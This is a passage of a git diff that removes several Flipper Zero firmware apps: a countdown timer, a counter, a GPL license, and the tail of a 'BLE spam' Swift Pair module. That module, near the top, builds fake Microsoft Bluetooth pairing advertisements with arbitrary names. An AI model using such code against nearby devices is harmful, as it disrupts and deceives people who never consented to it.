uint8_t size = 7 + display_name_len;
|
||||
uint8_t* packet = malloc(size);
|
||||
uint8_t i = 0;
|
||||
|
||||
packet[i++] = size - 1; // Size
|
||||
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
||||
packet[i++] = 0x06; // Company ID (Microsoft)
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x03; // Microsoft Beacon ID
|
||||
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
||||
packet[i++] = 0x80; // Reserved RSSI Byte
|
||||
memcpy(&packet[i], display_name, display_name_len); // Display Name
|
||||
i += display_name_len;
|
||||
|
||||
*out_size = size;
|
||||
*out_packet = packet;
|
||||
}
|
||||
|
||||
const BleSpamProtocol ble_spam_protocol_swiftpair = {
|
||||
.icon = &I_windows,
|
||||
.get_name = swiftpair_get_name,
|
||||
.make_packet = swiftpair_make_packet,
|
||||
};
|
||||
@@ -1,11 +0,0 @@
|
||||
#pragma once
|
||||
#include "_base.h"
|
||||
|
||||
// Hacked together by @Willy-JL and @Spooks4576
|
||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||
|
||||
typedef struct {
|
||||
char display_name[25];
|
||||
} SwiftpairMsg;
|
||||
|
||||
extern const BleSpamProtocol ble_spam_protocol_swiftpair;
|
||||
71
applications/external/cntdown_timer/app.c
vendored
@@ -1,71 +0,0 @@
|
||||
#include "views/countdown_view.h"
|
||||
#include "app.h"
|
||||
|
||||
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid);
|
||||
|
||||
int32_t app_main(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
CountDownTimerApp* app = countdown_app_new();
|
||||
|
||||
countdown_app_run(app);
|
||||
|
||||
countdown_app_delete(app);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint32_t view_exit(void* ctx) {
|
||||
furi_assert(ctx);
|
||||
|
||||
return VIEW_NONE;
|
||||
}
|
||||
|
||||
CountDownTimerApp* countdown_app_new(void) {
|
||||
CountDownTimerApp* app = (CountDownTimerApp*)(malloc(sizeof(CountDownTimerApp)));
|
||||
|
||||
// 1.1 open gui
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
|
||||
// 2.1 setup view dispatcher
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
||||
|
||||
// 2.2 attach view dispatcher to gui
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
// 2.3 attach views to the dispatcher
|
||||
// helloworld view
|
||||
app->helloworld_view = countdown_timer_view_new();
|
||||
register_view(app->view_dispatcher, countdown_timer_view_get_view(app->helloworld_view), 0xff);
|
||||
|
||||
// 2.5 switch to default view
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, 0xff);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
void countdown_app_delete(CountDownTimerApp* app) {
|
||||
furi_assert(app);
|
||||
|
||||
// delete views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, 0xff);
|
||||
countdown_timer_view_delete(app->helloworld_view); // hello world view
|
||||
|
||||
// delete view dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
furi_record_close(RECORD_GUI);
|
||||
|
||||
// self
|
||||
free(app);
|
||||
}
|
||||
|
||||
void countdown_app_run(CountDownTimerApp* app) {
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
}
|
||||
|
||||
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid) {
|
||||
view_dispatcher_add_view(dispatcher, viewid, view);
|
||||
|
||||
view_set_previous_callback(view, view_exit);
|
||||
}
|
||||
22
applications/external/cntdown_timer/app.h
vendored
@@ -1,22 +0,0 @@
|
||||
#ifndef __APP_H__
|
||||
#define __APP_H__
|
||||
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
|
||||
// app
|
||||
typedef struct {
|
||||
Gui* gui; // gui object
|
||||
ViewDispatcher* view_dispatcher; // view dispacther of the gui
|
||||
|
||||
// views
|
||||
CountDownTimView* helloworld_view;
|
||||
|
||||
} CountDownTimerApp;
|
||||
|
||||
CountDownTimerApp* countdown_app_new(void);
|
||||
void countdown_app_delete(CountDownTimerApp* app);
|
||||
void countdown_app_run(CountDownTimerApp* app);
|
||||
|
||||
#endif
|
||||
@@ -1,19 +0,0 @@
|
||||
# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
|
||||
|
||||
App(
|
||||
appid="cntdown_tim",
|
||||
name="Count Down Timer",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="app_main",
|
||||
cdefines=["APP_COUNT_DOWN_TIMER"],
|
||||
requires=[
|
||||
"gui",
|
||||
],
|
||||
stack_size=2 * 1024,
|
||||
fap_icon="cntdown_timer.png",
|
||||
fap_category="Tools",
|
||||
fap_author="@0w0mewo",
|
||||
fap_weburl="https://github.com/0w0mewo/fpz_cntdown_timer",
|
||||
fap_version="1.1",
|
||||
fap_description="Simple count down timer",
|
||||
)
|
||||
|
Before Width: | Height: | Size: 306 B |
@@ -1,34 +0,0 @@
|
||||
#include <furi.h>
|
||||
#include "utils.h"
|
||||
|
||||
static const NotificationSequence sequence_beep = {
|
||||
&message_blue_255,
|
||||
&message_note_d5,
|
||||
&message_delay_100,
|
||||
&message_sound_off,
|
||||
|
||||
NULL,
|
||||
};
|
||||
|
||||
void notification_beep_once() {
|
||||
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_beep);
|
||||
notification_off();
|
||||
}
|
||||
|
||||
void notification_off() {
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
}
|
||||
|
||||
void notification_timeup() {
|
||||
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_audiovisual_alert);
|
||||
}
|
||||
|
||||
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec) {
|
||||
snprintf(
|
||||
buffer,
|
||||
len,
|
||||
"%02ld:%02ld:%02ld",
|
||||
(sec % (60 * 60 * 24)) / (60 * 60), // hour
|
||||
(sec % (60 * 60)) / 60, // minute
|
||||
sec % 60); // second
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
#ifndef __UTILS_H__
|
||||
#define __UTILS_H__
|
||||
#include <furi.h>
|
||||
#include <notification/notification_messages.h>
|
||||
|
||||
void notification_beep_once();
|
||||
void notification_off();
|
||||
void notification_timeup();
|
||||
|
||||
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec);
|
||||
|
||||
#endif // __UTILS_H__
|
||||
@@ -1,349 +0,0 @@
|
||||
#include "countdown_view.h"
|
||||
#include "../utils/utils.h"
|
||||
|
||||
// internal
|
||||
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd);
|
||||
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd);
|
||||
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv);
|
||||
static void draw_selection(Canvas* canvas, CountDownViewSelect selection);
|
||||
|
||||
static void countdown_timer_start_counting(CountDownTimView* cdv);
|
||||
static void countdown_timer_pause_counting(CountDownTimView* cdv);
|
||||
|
||||
// callbacks
|
||||
static void countdown_timer_view_on_enter(void* ctx);
|
||||
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx);
|
||||
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx);
|
||||
static void timer_cb(void* ctx);
|
||||
|
||||
CountDownTimView* countdown_timer_view_new() {
|
||||
CountDownTimView* cdv = (CountDownTimView*)(malloc(sizeof(CountDownTimView)));
|
||||
|
||||
cdv->view = view_alloc();
|
||||
|
||||
cdv->timer = furi_timer_alloc(timer_cb, FuriTimerTypePeriodic, cdv);
|
||||
|
||||
cdv->counting = false;
|
||||
|
||||
view_set_context(cdv->view, cdv);
|
||||
|
||||
view_allocate_model(cdv->view, ViewModelTypeLocking, sizeof(CountDownModel));
|
||||
|
||||
view_set_draw_callback(cdv->view, countdown_timer_view_on_draw);
|
||||
view_set_input_callback(cdv->view, countdown_timer_view_on_input);
|
||||
view_set_enter_callback(cdv->view, countdown_timer_view_on_enter);
|
||||
|
||||
return cdv;
|
||||
}
|
||||
|
||||
void countdown_timer_view_delete(CountDownTimView* cdv) {
|
||||
furi_assert(cdv);
|
||||
|
||||
view_free(cdv->view);
|
||||
furi_timer_stop(cdv->timer);
|
||||
furi_timer_free(cdv->timer);
|
||||
|
||||
free(cdv);
|
||||
}
|
||||
|
||||
View* countdown_timer_view_get_view(CountDownTimView* cdv) {
|
||||
return cdv->view;
|
||||
}
|
||||
|
||||
void countdown_timer_view_state_reset(CountDownTimView* cdv) {
|
||||
cdv->counting = false;
|
||||
|
||||
with_view_model(
|
||||
cdv->view, CountDownModel * model, { model->count = model->saved_count_setting; }, true)
|
||||
}
|
||||
|
||||
void countdown_timer_state_toggle(CountDownTimView* cdv) {
|
||||
bool on = cdv->counting;
|
||||
if(!on) {
|
||||
countdown_timer_start_counting(cdv);
|
||||
} else {
|
||||
countdown_timer_pause_counting(cdv);
|
||||
}
|
||||
|
||||
cdv->counting = !on;
|
||||
}
|
||||
|
||||
// on enter callback, CountDownTimView as ctx
|
||||
static void countdown_timer_view_on_enter(void* ctx) {
|
||||
furi_assert(ctx);
|
||||
|
||||
CountDownTimView* cdv = (CountDownTimView*)ctx;
|
||||
|
||||
// set current count to a initial value
|
||||
with_view_model(
|
||||
cdv->view,
|
||||
CountDownModel * model,
|
||||
{
|
||||
model->count = INIT_COUNT;
|
||||
model->saved_count_setting = INIT_COUNT;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
// view draw callback, CountDownModel as ctx
|
||||
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx) {
|
||||
furi_assert(ctx);
|
||||
CountDownModel* model = (CountDownModel*)ctx;
|
||||
|
||||
char buffer[64];
|
||||
|
||||
int32_t count = model->count;
|
||||
int32_t expected_count = model->saved_count_setting;
|
||||
|
||||
CountDownViewSelect select = model->select;
|
||||
|
||||
// elements_frame(canvas, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT);
|
||||
|
||||
canvas_set_font(canvas, FontBigNumbers);
|
||||
draw_selection(canvas, select);
|
||||
|
||||
parse_sec_to_time_str(buffer, sizeof(buffer), count);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, SCREEN_CENTER_X, SCREEN_CENTER_Y, AlignCenter, AlignCenter, buffer);
|
||||
|
||||
elements_progress_bar(canvas, 0, 0, SCREEN_WIDTH, (1.0 * count / expected_count));
|
||||
}
|
||||
|
||||
// keys input event callback, CountDownTimView as ctx
|
||||
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx) {
|
||||
furi_assert(ctx);
|
||||
|
||||
CountDownTimView* hw = (CountDownTimView*)ctx;
|
||||
|
||||
if(event->type == InputTypeShort || event->type == InputTypeRepeat) {
|
||||
switch(event->key) {
|
||||
case InputKeyUp:
|
||||
case InputKeyDown:
|
||||
case InputKeyRight:
|
||||
case InputKeyLeft:
|
||||
handle_time_setting_select(event->key, hw);
|
||||
break;
|
||||
|
||||
case InputKeyOk:
|
||||
if(event->type == InputTypeShort) {
|
||||
handle_misc_cmd(hw, CountDownTimerToggleCounting);
|
||||
}
|
||||
break;
|
||||
case InputKeyBack:
|
||||
return false;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
if(event->type == InputTypeLong) {
|
||||
switch(event->key) {
|
||||
case InputKeyOk:
|
||||
handle_misc_cmd(hw, CountDownTimerReset);
|
||||
break;
|
||||
|
||||
case InputKeyBack:
|
||||
return false;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void timer_cb(void* ctx) {
|
||||
furi_assert(ctx);
|
||||
|
||||
CountDownTimView* cdv = (CountDownTimView*)ctx;
|
||||
|
||||
int32_t count;
|
||||
bool timeup = false;
|
||||
|
||||
// decrement counter
|
||||
with_view_model(
|
||||
cdv->view,
|
||||
CountDownModel * model,
|
||||
{
|
||||
count = model->count;
|
||||
count--;
|
||||
|
||||
// check timeup
|
||||
if(count <= 0) {
|
||||
count = 0;
|
||||
timeup = true;
|
||||
}
|
||||
|
||||
model->count = count;
|
||||
},
|
||||
true);
|
||||
|
||||
if(timeup) {
|
||||
handle_misc_cmd(cdv, CountDownTimerTimeUp);
|
||||
}
|
||||
}
|
||||
|
||||
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd) {
|
||||
int32_t count;
|
||||
|
||||
with_view_model(
|
||||
cdv->view,
|
||||
CountDownModel * model,
|
||||
{
|
||||
count = model->count;
|
||||
switch(cmd) {
|
||||
case CountDownTimerMinuteUp:
|
||||
count += 60;
|
||||
break;
|
||||
case CountDownTimerMinuteDown:
|
||||
count -= 60;
|
||||
break;
|
||||
case CountDownTimerHourDown:
|
||||
count -= 3600;
|
||||
break;
|
||||
case CountDownTimerHourUp:
|
||||
count += 3600;
|
||||
break;
|
||||
case CountDownTimerSecUp:
|
||||
count++;
|
||||
break;
|
||||
case CountDownTimerSecDown:
|
||||
count--;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if(count < 0) {
|
||||
count = 0;
|
||||
}
|
||||
|
||||
// update count state
|
||||
model->count = count;
|
||||
|
||||
// save the count time setting
|
||||
model->saved_count_setting = count;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd) {
|
||||
switch(cmd) {
|
||||
case CountDownTimerTimeUp:
|
||||
notification_timeup();
|
||||
break;
|
||||
|
||||
case CountDownTimerReset:
|
||||
furi_timer_stop(hw->timer);
|
||||
countdown_timer_view_state_reset(hw);
|
||||
notification_off();
|
||||
|
||||
break;
|
||||
|
||||
case CountDownTimerToggleCounting:
|
||||
countdown_timer_state_toggle(hw);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv) {
|
||||
bool counting = cdv->counting;
|
||||
CountDownViewCmd setting_cmd = CountDownTimerSecUp;
|
||||
CountDownViewSelect selection;
|
||||
|
||||
if(counting) {
|
||||
return;
|
||||
}
|
||||
|
||||
// load current selection from model context
|
||||
with_view_model(
|
||||
cdv->view, CountDownModel * model, { selection = model->select; }, false);
|
||||
|
||||
// select
|
||||
switch(key) {
|
||||
case InputKeyUp:
|
||||
switch(selection) {
|
||||
case CountDownTimerSelectSec:
|
||||
setting_cmd = CountDownTimerSecUp;
|
||||
break;
|
||||
case CountDownTimerSelectMinute:
|
||||
setting_cmd = CountDownTimerMinuteUp;
|
||||
break;
|
||||
case CountDownTimerSelectHour:
|
||||
setting_cmd = CountDownTimerHourUp;
|
||||
break;
|
||||
}
|
||||
|
||||
handle_time_setting_updown(cdv, setting_cmd);
|
||||
break;
|
||||
|
||||
case InputKeyDown:
|
||||
switch(selection) {
|
||||
case CountDownTimerSelectSec:
|
||||
setting_cmd = CountDownTimerSecDown;
|
||||
break;
|
||||
case CountDownTimerSelectMinute:
|
||||
setting_cmd = CountDownTimerMinuteDown;
|
||||
break;
|
||||
case CountDownTimerSelectHour:
|
||||
setting_cmd = CountDownTimerHourDown;
|
||||
break;
|
||||
}
|
||||
|
||||
handle_time_setting_updown(cdv, setting_cmd);
|
||||
break;
|
||||
|
||||
case InputKeyRight:
|
||||
selection--;
|
||||
selection = selection % 3;
|
||||
break;
|
||||
|
||||
case InputKeyLeft:
|
||||
selection++;
|
||||
selection = selection % 3;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// save selection to model context
|
||||
with_view_model(
|
||||
cdv->view, CountDownModel * model, { model->select = selection; }, false);
|
||||
}
|
||||
|
||||
static void draw_selection(Canvas* canvas, CountDownViewSelect selection) {
|
||||
switch(selection) {
|
||||
case CountDownTimerSelectSec:
|
||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X + 25, SCREEN_CENTER_Y + 11, 24, 2);
|
||||
break;
|
||||
case CountDownTimerSelectMinute:
|
||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 10, SCREEN_CENTER_Y + 11, 21, 2);
|
||||
break;
|
||||
case CountDownTimerSelectHour:
|
||||
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 47, SCREEN_CENTER_Y + 11, 24, 2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static void countdown_timer_start_counting(CountDownTimView* cdv) {
|
||||
furi_timer_start(cdv->timer, furi_kernel_get_tick_frequency() * 1); // 1s
|
||||
}
|
||||
|
||||
static void countdown_timer_pause_counting(CountDownTimView* cdv) {
|
||||
furi_timer_stop(cdv->timer);
|
||||
notification_off();
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
#ifndef __COUNTDOWN_VIEW_H__
|
||||
#define __COUNTDOWN_VIEW_H__
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/view.h>
|
||||
#include <gui/elements.h>
|
||||
|
||||
#define SCREEN_WIDTH 128
|
||||
#define SCREEN_HEIGHT 64
|
||||
#define SCREEN_CENTER_X (SCREEN_WIDTH / 2)
|
||||
#define SCREEN_CENTER_Y (SCREEN_HEIGHT / 2)
|
||||
|
||||
#define INIT_COUNT 10
|
||||
|
||||
typedef enum {
|
||||
CountDownTimerMinuteUp,
|
||||
CountDownTimerMinuteDown,
|
||||
CountDownTimerSecDown,
|
||||
CountDownTimerSecUp,
|
||||
CountDownTimerHourUp,
|
||||
CountDownTimerHourDown,
|
||||
CountDownTimerReset,
|
||||
CountDownTimerTimeUp,
|
||||
CountDownTimerToggleCounting,
|
||||
} CountDownViewCmd;
|
||||
|
||||
typedef enum {
|
||||
CountDownTimerSelectSec,
|
||||
CountDownTimerSelectMinute,
|
||||
CountDownTimerSelectHour,
|
||||
} CountDownViewSelect;
|
||||
|
||||
typedef struct {
|
||||
int32_t count;
|
||||
int32_t saved_count_setting;
|
||||
CountDownViewSelect select; // setting
|
||||
} CountDownModel;
|
||||
|
||||
typedef struct {
|
||||
View* view;
|
||||
FuriTimer* timer; // 1Hz tick timer
|
||||
bool counting;
|
||||
|
||||
} CountDownTimView;
|
||||
|
||||
// functions
|
||||
// allocate helloworld view
|
||||
CountDownTimView* countdown_timer_view_new();
|
||||
|
||||
// delete helloworld view
|
||||
void countdown_timer_view_delete(CountDownTimView* cdv);
|
||||
|
||||
// return view
|
||||
View* countdown_timer_view_get_view(CountDownTimView* cdv);
|
||||
|
||||
void countdown_timer_view_state_reset(CountDownTimView* cdv); // set initial state
|
||||
void countdown_timer_state_toggle(CountDownTimView* cdv);
|
||||
#endif // __COUNTDOWN_VIEW_H__
|
||||
16
applications/external/counter/application.fam
vendored
@@ -1,16 +0,0 @@
|
||||
App(
|
||||
appid="counter",
|
||||
name="Counter",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="counterapp",
|
||||
requires=[
|
||||
"gui",
|
||||
],
|
||||
fap_category="Tools",
|
||||
fap_icon="icons/counter_icon.png",
|
||||
fap_icon_assets="icons",
|
||||
fap_author="@Krulknul",
|
||||
fap_weburl="https://github.com/Krulknul/dolphin-counter",
|
||||
fap_version="1.1",
|
||||
fap_description="Simple counter",
|
||||
)
|
||||
109
applications/external/counter/counter.c
vendored
@@ -1,109 +0,0 @@
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
#include "counter_icons.h"
|
||||
#include <assets_icons.h>
|
||||
|
||||
#define MAX_COUNT 99
|
||||
#define BOXTIME 2
|
||||
#define BOXWIDTH 30
|
||||
#define MIDDLE_X 64 - BOXWIDTH / 2
|
||||
#define MIDDLE_Y 32 - BOXWIDTH / 2
|
||||
#define OFFSET_Y 9
|
||||
|
||||
typedef struct {
|
||||
FuriMessageQueue* input_queue;
|
||||
ViewPort* view_port;
|
||||
Gui* gui;
|
||||
FuriMutex** mutex;
|
||||
|
||||
int count;
|
||||
bool pressed;
|
||||
int boxtimer;
|
||||
} Counter;
|
||||
|
||||
void state_free(Counter* c) {
|
||||
gui_remove_view_port(c->gui, c->view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
view_port_free(c->view_port);
|
||||
furi_message_queue_free(c->input_queue);
|
||||
furi_mutex_free(c->mutex);
|
||||
free(c);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input_event, void* ctx) {
|
||||
Counter* c = ctx;
|
||||
if(input_event->type == InputTypeShort) {
|
||||
furi_message_queue_put(c->input_queue, input_event, 0);
|
||||
}
|
||||
}
|
||||
|
||||
static void render_callback(Canvas* canvas, void* ctx) {
|
||||
Counter* c = ctx;
|
||||
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
|
||||
canvas_clear(canvas);
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)");
|
||||
canvas_set_font(canvas, FontBigNumbers);
|
||||
|
||||
char scount[5];
|
||||
if(c->pressed == true || c->boxtimer > 0) {
|
||||
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
|
||||
canvas_draw_rframe(
|
||||
canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5);
|
||||
canvas_draw_rframe(
|
||||
canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5);
|
||||
c->pressed = false;
|
||||
c->boxtimer--;
|
||||
} else {
|
||||
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
|
||||
}
|
||||
snprintf(scount, sizeof(scount), "%d", c->count);
|
||||
canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount);
|
||||
furi_mutex_release(c->mutex);
|
||||
}
|
||||
|
||||
Counter* state_init() {
|
||||
Counter* c = malloc(sizeof(Counter));
|
||||
c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
||||
c->view_port = view_port_alloc();
|
||||
c->gui = furi_record_open(RECORD_GUI);
|
||||
c->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
||||
c->count = 0;
|
||||
c->boxtimer = 0;
|
||||
view_port_input_callback_set(c->view_port, input_callback, c);
|
||||
view_port_draw_callback_set(c->view_port, render_callback, c);
|
||||
gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen);
|
||||
return c;
|
||||
}
|
||||
|
||||
int32_t counterapp(void) {
|
||||
Counter* c = state_init();
|
||||
|
||||
while(1) {
|
||||
InputEvent input;
|
||||
while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) {
|
||||
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
|
||||
|
||||
if(input.key == InputKeyBack) {
|
||||
furi_mutex_release(c->mutex);
|
||||
state_free(c);
|
||||
return 0;
|
||||
} else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) {
|
||||
c->pressed = true;
|
||||
c->boxtimer = BOXTIME;
|
||||
c->count++;
|
||||
} else if(input.key == InputKeyDown && c->count != 0) {
|
||||
c->pressed = true;
|
||||
c->boxtimer = BOXTIME;
|
||||
c->count--;
|
||||
}
|
||||
furi_mutex_release(c->mutex);
|
||||
view_port_update(c->view_port);
|
||||
}
|
||||
}
|
||||
state_free(c);
|
||||
return 0;
|
||||
}
|
||||
BIN
applications/external/counter/icons/counter_icon.png
vendored
|
Before Width: | Height: | Size: 182 B |
674
applications/external/dtmf_dolphin/LICENSE
vendored
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
